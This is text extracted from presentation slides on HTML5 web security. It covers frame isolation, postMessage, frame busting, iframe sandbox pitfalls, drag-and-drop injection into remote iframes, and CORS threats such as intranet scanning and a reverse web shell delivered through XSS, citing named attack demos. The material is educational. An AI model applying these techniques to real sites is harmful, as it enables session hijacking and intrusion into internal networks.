  • 14. Isolation with Frames • Separate security context for each origin • Less interactive than JS approach • Comply with SOP • Beware! Frames can be navigated to different origins using JavaScript! • Frame navigation is NOT the same as SOP! 14
  • 16. HTML5 Cross Document Messaging • Cross-origin client side communication • Network-like channel between frames • Securely abstracts multiple principals • Frames can integrate widgets (in mashups) with improved trust! 16
  • 17. Messaging API-Beware of origin & framing! //Posting message to a cross domain partner. frames[0].postMessage(“Hello Partner!”, "http://localhost:81/"); //Retrieving message from the sender window.onmessage = function (e) { if (e.origin == 'http://localhost') { //sanitize and accept data } }; 17
  • 19. AJAX, Cross Document Messaging & CORS AJAX Messaging CORS 19
  • 21. JS Defense - Frame Busting if (top != self) { //condition top.location = self.location; //counter action } 21
  • 23. HTML5 Iframe Sandbox • Very important security feature! • “sandbox” attribute disables form submissions, scripts, top window navigation, popups etc. <iframe sandbox src="http://remoteSite.com"></iframe> • Can be relaxed with few tokens <iframe sandbox=“allow-forms allow-scripts allow-same-origin allow- top-navigation” src="http://remoteSite.com"></iframe> 23
  • 24. Sandbox-problems • Disables JS based frame busting defense • Allow-scripts and allow-same-origin should not be used together when embedded page has same origin as the page containing iframe! • The above combination enables script to remove sandbox attribute altogether! 24
  • 25. Demo a) Sandbox disabling frame busters b) Allow-same-origin, allow-scripts combination
  • 26. HTML5 Drag/Drop • Enhances User Experience • Allows text injection into remote sites • draggable=“true”, “ondragstart” event can be used to drag malicious code into remote iframes! <div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','malicious code');"> <h1>Drop me</h1> </div> <iframe src="http://www.example.org/dropHere.html"></iframe> 26
  • 27. Demo “Alphabet-Hero” built by @kkotowicz http://attacker.kotowicz.net/alphabet-hero/game.html
  • 28. CORS • Allows Cross-Origin calls (which are not possible with AJAX) by careful restrictions. • “Access-Control-Allow-Origin” response header must be defined by remote site. • Simple COR for GET, POST, HEAD methods. • COR with preflight requests for PUT, DELETE • Wild card operator “*” 28
  • 29. CORS-Threats • Shared hosting sites should be careful! http://A.com/user1 and http://A.com/user2 belong to the same origin • Accessing internal servers • Scanning internal network • Establishing a remote shell • Rogue CORs and DDoS attacks • Misplaced Trust 29
  • 30. SOTF-Reverse Web Shell Hijacked sessions are available to the attacker Malicious JavaScript injected via XSS hole 30
  • 31. CORS-Accessing intranet apps Image: Compass Security 31
  • 32. Demo a) “Shell of the future” built by @lavakumark http://www.andlabs.org/tools/sotf/sotf.html b) Accessing internal servers
  • 33. Questions? www.novogeek.com Twitter: @novogeek 33
  • 34. References • Stanford Security Research Lab: http://seclab.stanford.edu/websec/ • Dive into HTML5: http://diveintohtml5.info • HTML5 Security cheatsheet: http://heideri.ch/jso/ • HTML5 Security: http://html5security.org • Compass Security • LavaKumar Kuppan: http://blog.andlabs.org/ • Kotowicz: http://blog.kotowicz.net 34